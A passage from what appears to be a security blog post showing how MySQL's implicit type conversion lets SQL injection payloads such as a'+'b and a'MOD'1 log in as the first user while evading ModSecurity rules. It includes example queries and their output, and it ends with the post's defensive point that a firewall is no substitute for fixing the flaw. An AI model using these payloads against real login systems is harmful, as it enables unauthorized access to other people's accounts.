| 'a'+'b'='c' |
+-------------+
|           1 |
+-------------+
1 row in set, 3 warnings (0.00 sec)

mysql> SHOW WARNINGS;
+---------+------+---------------------------------------+
| Level   | Code | Message                               |
+---------+------+---------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'b' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'a' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'c' |
+---------+------+---------------------------------------+
3 rows in set (0.00 sec)

It appears that the string you compare the sum of two strings with, is converted to a numeric value (again 0). This is a kind of behaviour that might come as unexpected. It is documented somewhat unclearly in the MySQL Reference Manual as the last rule of how conversion occurs.

In all other cases, the arguments are compared as floating-point (real) numbers.

Now, this article is about bypassing Web Application Firewalls, so let’s move on to that.

Bypassings WAFs

Say you have a login-system which is vulnerable to SQL-injection. Since you have no clue how to fix this, you have put a WAF in front of your application. The login-system is likely to contain a query such as SELECT * FROM users WHERE username = '$_POST["username"]' AND password = '$_POST["password"]'.

A straighforward SQL-injection attack would be to enter a' OR 1='1 as the username and pick a random value for the password-field. This would result in the query SELECT * FROM users WHERE username = 'a' OR 1='1' AND password = 'foobar'. This will most likely log the attacker in as the first user in the users-table. But since you are using a WAF, you should be safe from this kind of attack.

If the attacker were a bit smarter, and use the information discussed above, he might enter a'+'b as username and the same for the password-field. This results in the following query being executed: SELECT * FROM users WHERE username = 'a'+'b' AND password = 'a'+'b'. As we’ve seen above, 'a'+'b' will be converted to a numeric value, and so will username and password.

This means that the attacker will be logged in as the first user whose username and password doesn’t start with a numeric value. If the superadmin’s username would be 666admin, the attacker could still enter 'a'+'666 as a username (which will be converted to the same value as 666admin will be converted to, namely 666).

I have stated that WAF’s can be bypassed using this technique, but actually WAF’s should be read as “ModSecurity and probably others as well”. You can test the a'+'b attack on one of ModSecurity’s demonstration projects. Entering ' OR 1='1 as username and password will return the following error:

ModSecurity Alert Message:

Inbound Alert: 981242-Detects classic SQL injection probings 1/2

Outbound Alert: 981242-Detects classic SQL injection probings 1/2

Entering a'+'b as username and password will log you in, but no alerts or warnings are given by ModSecurity.

Until now, I have only talked about the + operator, but MySQL offers quite some other operators that will have the same effect. The MySQL 5.5 Reference Manual lists following operators as arithmetic operators: DIV, /, -, %, MOD, + and *. This makes a'MOD'1 an attack vector as well, which seems very hard for a WAF to detect as a possible SQL-Injection attack.

Until now, I have only talked about arithmetic operators. MySQL offers quite some other functions as well, for example bit functions. The functions that are usable in this case are &, |, ^, << and >>.

Until now, I have only talked about operators that make the right-hand side of the assignment evaluate first. This is because their operator precedence is higher than that of = (comparison). With the operators and functions whose precedence is equal or lower than that of =, ModSecurity does seem to detect an SQL attack. (The ' OR 1='1 attack vector falls under this part.)

The moral of this blog post is that you should not depend on a WAF to protect your web application. A WAF adds another layer of defense, but as you’ve seen here, it’s not all that difficult to bypass.

Examples

As an example I’ve created following table, and populated it with 2 users.

CREATE TABLE `users` (
  `userid` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(45) NOT NULL,
  `password` varchar(45) NOT NULL,
  PRIMARY KEY (`userid`)
);

INSERT INTO `users` (`username`, `password`) VALUES ('admin', 'MySuperS3cretPass!');
INSERT INTO `users` (`username`, `password`) VALUES ('666admin', 'nataSmaI');

Here are the results of some attack vectors.

mysql> SELECT * FROM users WHERE username = 'a'+'b' AND password = 'a'+'b';
+--------+----------+--------------------+
| userid | username | password           |
+--------+----------+--------------------+
|      1 | admin    | MySuperS3cretPass! |
+--------+----------+--------------------+
1 row in set, 7 warnings (0.00 sec)

mysql> SHOW WARNINGS;
+---------+------+--------------------------------------------------------+
| Level   | Code | Message                                                |
+---------+------+--------------------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin'              |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'b'                  |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'a'                  |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'MySuperS3cretPass!' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'b'                  |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'a'                  |
| Warning | 1292 | Truncated incorrect DOUBLE value: '666admin'           |
+---------+------+--------------------------------------------------------+
7 rows in set (0.00 sec)

mysql> SELECT * FROM users WHERE username = 'a'+'666' AND password = 'a'+'b';
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
|      2 | 666admin | nataSmaI |
+--------+----------+----------+
1 row in set, 6 warnings (0.00 sec)

mysql> SELECT * FROM users WHERE username = 'a'MOD'1' AND password = 'a'MOD'1';
+--------+----------+--------------------+
| userid | username | password           |
+--------+----------+--------------------+
|      1 | admin    | MySuperS3cretPass! |
+--------+----------+--------------------+
1 row in set, 5 warnings (0.00 sec)

In the following example, 'a' and 'b' are converted to the INTEGER 0, because & is a bit function.

mysql> SELECT * FROM users WHERE username = 'a'&'b' AND password = 'a'&'b';
+--------+----------+--------------------+
| userid | username | password           |
+--------+----------+--------------------+
|      1 | admin    | MySuperS3cretPass! |
+--------+----------+--------------------+
1 row in set, 7 warnings (0.00 sec)